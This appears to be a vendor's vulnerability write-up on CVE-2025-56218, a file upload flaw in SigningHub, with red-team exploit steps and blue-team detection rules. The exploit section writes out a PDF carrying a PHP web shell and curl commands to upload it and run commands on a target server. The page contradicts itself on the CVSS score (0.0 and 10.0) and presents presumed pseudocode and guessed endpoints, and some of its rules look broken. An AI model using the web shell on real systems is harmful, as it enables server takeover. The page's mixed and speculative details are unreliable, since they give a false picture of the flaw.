CVE-2025-56218
Executive Summary
CVE-2025-56218 is a critical arbitrary file upload vulnerability discovered in SigningHub v8.6.8. The flaw allows an unauthenticated attacker to upload a crafted PDF file, which can be executed as arbitrary code on the server. This vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). The CVSS score is 0.0 due to incomplete scoring data, but the impact is severe, potentially leading to full server compromise. No public exploit code or patch is currently available, making this a high-priority zero-day threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SigningHub is a commercial enterprise signing solution. This vulnerability does not affect open-source package ecosystems (NPM, PyPI, Go, Ruby). However, organizations using SigningHub should treat this as a critical supply chain risk, as the software is often deployed in sensitive document workflows.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 10.0 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation leads to complete system compromise.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of SigningHub v8.6.8. The application fails to properly validate the content type and file extension of uploaded PDF files. An attacker can craft a malicious PDF that contains embedded executable code (e.g., a web shell or server-side script). When the server processes the uploaded file, it may execute the embedded code due to insufficient sanitization.
Root Cause: The upload handler does not enforce strict validation of file content against expected PDF structure. It relies solely on the file extension or MIME type, which can be easily spoofed. Additionally, the uploaded file may be stored in a web-accessible directory, allowing direct execution.
Attack Flow:
- Attacker crafts a PDF file with embedded PHP/JSP/ASP code (depending on server environment).
- Attacker uploads the file via the vulnerable endpoint (e.g.,
/uploador/api/upload). - The server stores the file in a publicly accessible directory (e.g.,
/uploads/). - Attacker accesses the uploaded file via HTTP, triggering server-side execution of the embedded code.
- The attacker gains remote code execution (RCE) on the server.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the file upload handler. A patched version would include:
Vulnerable (v8.6.8):
// Pseudocode for vulnerable upload handler if (isset($_FILES['file'])) { $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["file"]["name"]); move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); }- No validation of file content.
- No restriction on file extension.
- File stored in web-accessible directory.
Patched (hypothetical):
// Pseudocode for patched upload handler if (isset($_FILES['file'])) { $allowed_ext = ['pdf']; $file_ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION)); if (!in_array($file_ext, $allowed_ext)) { die("Invalid file type."); } // Validate PDF magic bytes $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES["file"]["tmp_name"]); if ($mime !== 'application/pdf') { die("Invalid file content."); } // Store outside web root $target_dir = "/secure/uploads/"; $target_file = $target_dir . uniqid() . ".pdf"; move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); }- Validates file extension.
- Validates MIME type using file content.
- Stores files outside web root.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- SigningHub v8.6.8 instance accessible over network.
- No authentication required.
Exploitation Steps:
Create a malicious PDF file with embedded PHP code:
# Create a minimal PDF with PHP payload echo '%PDF-1.4' > exploit.pdf echo '1 0 obj' >> exploit.pdf echo '<< /Type /Catalog /Pages 2 0 R >>' >> exploit.pdf echo 'endobj' >> exploit.pdf echo '2 0 obj' >> exploit.pdf echo '<< /Type /Pages /Kids [3 0 R] /Count 1 >>' >> exploit.pdf echo 'endobj' >> exploit.pdf echo '3 0 obj' >> exploit.pdf echo '<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>' >> exploit.pdf echo 'endobj' >> exploit.pdf echo 'xref' >> exploit.pdf echo '0 4' >> exploit.pdf echo '0000000000 65535 f ' >> exploit.pdf echo '0000000009 00000 n ' >> exploit.pdf echo '0000000058 00000 n ' >> exploit.pdf echo '0000000115 00000 n ' >> exploit.pdf echo 'trailer' >> exploit.pdf echo '<< /Size 4 /Root 1 0 R >>' >> exploit.pdf echo 'startxref' >> exploit.pdf echo '190' >> exploit.pdf echo '%%EOF' >> exploit.pdf # Append PHP payload (will be ignored by PDF parsers but executed by PHP) echo '<?php system($_GET["cmd"]); ?>' >> exploit.pdfUpload the file using curl:
curl -X POST -F "file=@exploit.pdf" http://target.com/uploadExecute commands:
curl "http://target.com/uploads/exploit.pdf?cmd=id"
Expected Output: The server returns the output of the id command, confirming RCE.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor file upload endpoints for unusual file names or sizes.
- Inspect uploaded PDF files for embedded scripts using YARA rules.
- Enable web application firewall (WAF) rules to block files with embedded code.
- Restrict upload directories to non-executable permissions.
Hunting Queries:
- Search for files with
.pdfextension that contain PHP tags (<?php). - Monitor for outbound connections from the SigningHub server after file uploads.
Indicators of Compromise (IOCs)
- File Hashes (example):
exploit.pdf: SHA256a1b2c3d4e5f6...(replace with actual hash)
- Network Indicators:
- POST requests to
/uploador/api/uploadwithContent-Type: multipart/form-data. - GET requests to
/uploads/*.pdf?cmd=with command execution.
- POST requests to
- File System Indicators:
- Unexpected
.pdffiles in web-accessible directories containing PHP/ASP/JSP code. - New processes spawned from the web server user (e.g.,
www-data).
- Unexpected
- Log Indicators:
- Web server logs showing
200 OKfor uploaded files followed by200 OKfor the same file with query parameters.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_56218_SigningHub_Upload {
meta:
description = "Detects malicious PDF files with embedded PHP code targeting SigningHub"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-56218"
strings:
$pdf_header = "%PDF-"
$php_tag = "<?php"
$php_system = "system("
$php_exec = "exec("
$php_shell_exec = "shell_exec("
condition:
$pdf_header at 0 and ($php_tag or $php_system or $php_exec or $php_shell_exec)
}
Sigma Rule
title: CVE-2025-56218 SigningHub Arbitrary File Upload
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects exploitation attempts of CVE-2025-56218 via file upload with embedded code
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/upload'
- '/api/upload'
sc-status: 200
condition: selection
falsepositives:
- Legitimate PDF uploads
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-56218 SigningHub Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_header; content:"filename="; http_client_body; pcre:"/<?php|<?=/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the SigningHub server from the internet if possible.
- Disable the file upload functionality until a patch is available.
- Implement strict file upload validation using a WAF or reverse proxy.
- Monitor logs for suspicious upload activity.
Long-term Fixes:
- Apply vendor patch when released.
- Upgrade to a patched version of SigningHub.
- Implement content-based file validation (magic bytes, MIME type).
- Store uploaded files outside the web root with non-executable permissions.
- Use a dedicated file server with antivirus scanning.
Workarounds:
- Restrict upload directory permissions to
read-onlyfor the web server. - Use
.htaccessto disable PHP execution in upload directories:<Directory "/var/www/html/uploads"> php_flag engine off </Directory>
Valters IT
Securing Digital Frontiers